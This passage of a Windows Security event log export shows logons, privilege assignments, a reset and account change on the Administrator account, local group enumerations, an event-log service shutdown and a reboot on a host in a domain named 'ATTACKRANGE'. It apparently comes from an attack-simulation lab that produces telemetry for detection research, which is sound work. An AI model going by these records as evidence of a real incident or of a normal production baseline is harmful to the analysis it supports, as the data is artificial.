Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:17:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4616 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245189 -Keywords=Audit Success -Message=The system time was changed. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - Process ID: 0x4b4 - Name: C:\Windows\System32\svchost.exe - -Previous Time: ‎2021‎-‎03‎-‎01T12:10:08.650220400Z -New Time: ‎2021‎-‎03‎-‎01T12:10:08.645000000Z - -This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer. -03/11/2021 11:17:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245191 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:17:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245190 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x2b0 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:17:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4724 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245197 -Keywords=Audit Success -Message=An attempt was made to reset an account's password. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR -03/11/2021 11:17:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245196 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: Administrator - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: 3/1/2021 12:10:23 PM - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x14 - New UAC Value: 0x10 - User Account Control: - 'Password Not Required' - Disabled - User Parameters: - - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:17:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245195 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xd04 - Process Name: C:\Windows\System32\net1.exe -03/11/2021 11:17:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245194 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Guest - Account Name: Guest - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xbac - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:17:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245193 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\DefaultAccount - Account Name: DefaultAccount - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xbac - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:17:17 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245192 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xbac - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:17:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245204 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x7F79C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:17:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245203 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 4 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x7F79C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0xb68 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:17:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245202 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0xb68 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:17:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245201 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:17:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245200 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Guest - Account Name: Guest - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xbac - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:17:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245199 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\DefaultAccount - Account Name: DefaultAccount - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xbac - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:17:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245198 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xbac - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:17:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245205 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x44 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:17:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4616 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245207 -Keywords=Audit Success -Message=The system time was changed. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - Process ID: 0x4b4 - Name: C:\Windows\System32\svchost.exe - -Previous Time: ‎2021‎-‎03‎-‎01T12:10:38.354910300Z -New Time: ‎2021‎-‎03‎-‎01T12:10:38.348000000Z - -This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer. -03/11/2021 11:17:32 PM -LogName=Security -SourceName=Microsoft-Windows-Eventlog -EventCode=1100 -EventType=4 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Service shutdown -OpCode=Info -RecordNumber=245206 -Keywords=Audit Success -Message=The event logging service has shut down. -03/11/2021 11:36:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245209 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1f4 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x4 - Creator Process Name: - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4826 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other Policy Change Events -OpCode=Info -RecordNumber=245208 -Keywords=Audit Success -Message=Boot Configuration Data loaded. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -General Settings: - Load Options: - - Advanced Options: No - Configuration Access Policy: Default - System Event Logging: No - Kernel Debugging: No - VSM Launch Type: Off - -Signature Settings: - Test Signing: No - Flight Signing: No - Disable Integrity Checks: No - -HyperVisor Settings: - HyperVisor Load Options: - - HyperVisor Launch Type: Off - HyperVisor Debugging: No -03/11/2021 11:36:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245210 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x280 - New Process Name: C:\Windows\System32\autochk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1f4 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245216 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x358 - New Process Name: C:\Windows\System32\winlogon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2fc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245215 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x31c - New Process Name: C:\Windows\System32\wininit.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2b4 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245214 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x304 - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2fc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245213 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2fc - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1f4 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245212 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2bc - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2b4 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245211 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2b4 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1f4 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:36:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245220 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 0 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: - - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x4 - Process Name: - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: - - Authentication Package: - - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4608 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245219 -Keywords=Audit Success -Message=Windows is starting up. - -This event is logged when LSASS.EXE starts and the auditing subsystem is initialized. -03/11/2021 11:36:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245218 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account 